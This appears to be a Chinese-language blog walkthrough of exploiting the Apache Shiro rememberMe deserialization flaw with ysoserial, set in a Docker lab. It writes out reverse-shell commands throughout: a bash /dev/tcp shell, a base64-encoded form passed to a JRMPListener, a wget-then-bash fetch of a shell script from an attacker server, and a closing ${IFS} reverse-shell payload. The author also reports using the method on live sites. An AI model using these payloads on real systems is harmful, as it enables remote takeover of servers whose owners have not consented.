这个漏洞挺久远的,但是又很常见,还是有很多站点有这个问题,但是之前总是没打通,分析了一下发现是自己的姿势错了,感谢菠萝师傅远程帮我调试
目录
漏洞环境搭建
直接使用docker搭建即可
1 | docker pull medicean/vulapps:s_shiro_1 |
工具
首先你要有ysoserial的jar文件
自行编译法
1 | git clone https://github.com/frohoff/ysoserial.git |
在target目录下就有ysoserial-0.0.5-SNAPSHOT-all.jar /或者0.0.6
我发现编译很慢,也可以直接去网上找现成的
比如https://github.com/Kit4y/Src-Toolset/blob/master/anothervol-ShiroScan-master/ShiroScan/moule/ysoserial.jar
然后是pycrypto模块,这里我用ubuntu,因为win10这个大小写的毛病一直在
1 | pip3 install pycrypto |
rce 复现
1、生成一个rce的脚本
1 | # pip install pycrypto |
其中注意脚本和ysoserial.jar在同一目录下,
使用python shiro.py "curl 192.168.59.132:7777"生成的payload.cookie即为payload,抓包改cookie

这里有个坑,如果你这样打不通,那就是可能抓的包要改JSESSIONID,改成一个不同的就行,我把第一个4改成2即可,貌似看了一些文章说这个是一次性的,之前卡了很久
当然你也可以直接写一个加上发包的脚本-改一下上面的就行
1 | # -*- coding: utf-8 -*- |
修改url和cmd即可
这里我用的是直接nc -lvnp接收,也可用这两个比较有名的接收平台http://ceye.io/,http://dnslog.cn/,其中ceye要登录,dnslog不需要登录即可,另外这个平台没有nslookup
如果key和模块不好调,可以试试菠萝师傅推荐的这个https://github.com/sv3nbeast/ShiroScan
使用方法也很简单python shiro_rce.py http://192.168.59.132:8081 "curl 192.168.59.132:7777" ,python2,python3好像都兼容
也能自己写一个大概的python3 check.py
1 | import requests |
常规反弹shell 复现
首先在vps上开一个反弹shell的等待服务nc -lvnp 7777
理论上如果是php我们能任意代码执行那么只要bash -i >& /dev/tcp/192.168.59.132/7777 0>&1就行,但是试了很久发现不能反弹成功-(这里是一个Q1之后解答)
之前已经整好了ysoserial.jar,也需要在vps上搭一个JRMP Listener 服务,
语法是java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 'rce code',但是这里的rce-code需要生成runtime-exec-payload前往这个平台http://www.jackson-t.ca/runtime-exec-payloads.htmlbash -i >& /dev/tcp/192.168.59.132/7777 0>&1
加密得到bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
其实规则就是
bash: bash -c {echo,code_to_base64}|{base64,-d}|{bash,-i}
python: python -c exec('code_to_base64'.decode('base64'))
,居然生成好了payload然后运行即可java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.explo.JRMPListener 3888 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
然后现在就是要靶机的shiro打到我们的JRMP Listener 服务服务上,web_url是靶机url,target是我们JRMP服务
getshell_exp.py-ubuntu下兼容py2,py3
1 | import sys |
综上运行就是
1 | nc -lvnp 7777 |

终极payload
那么其实也就可以一体化了
环境ubuntu-python3
用样的你需要把ysoserial.jar丢shiro_exp.py下
shiro_exp.py
1 | # -*- coding: utf-8 -*- |

1 | nc -lvnp 7777 |
使用子进程开启JRMPListener服务,等待时长5秒可根据网络自行修改
不使用JRMPListener能否反弹shell问题Q1
还记得前面说过,既然能rce,为什么不直接使用bash -i >& /dev/tcp/192.168.59.132/7777 0>&1反弹shell?
经过多次尝试发现,的确直接如此反弹shell不能成功,于是尝试分2步实现echo '/bin/bash -i >& /dev/tcp/192.168.59.132/7777 0>&1' >> a.txt &&bash a.txt又不能成功
后来测试了很久发现使用echo '123' >> a.txt这样的rce是不能实现的
当觉得不可能不用JRMPListener反弹shell的时候,我发现wget居然可以直接使用,,那么我们只要先把'/bin/bash -i >& /dev/tcp/192.168.59.132/7777 0>&1'丢服务器上保存为shell.txt,然后bash就行也是分2步
1 | exp_shiro(URL,"wget http://XXXXXX:8089/shell.txt -O shell") |
然后发现有时候会成功有时候不成功,感觉是wget时间问题,大概就是wget还没成功,就bash了所以加一个sleep
1 | exp_shiro(URL,"wget http://XXXXXXX:8089/shell.txt -O shell") |
nice成功跑出了,本地测试一个一下又测试了几台服务器-如果服务器wget比较慢可以设置等5-10秒可以完美跑出
最后不用JRMPListener的完美版脚本长这样
1 | # -*- coding: utf-8 -*- |
使用python3 shiro.py -u http://192.168.59.132:8081
那问什么网上所有的getshell的文章,都是建立JRMPListener服务然后getshell呢?估计第一个人这样用了成功了,后面的人都没思考其他方法吧。
2020/6/8
卧槽,今天和长亭同事打一个站,真的可以直接反弹shell,师傅们tql,学到了,5555555 我前面分析是什么玩意
pocbash -c bash${IFS}-i${IFS}>&/dev/tcp/XXXXX/XX<&1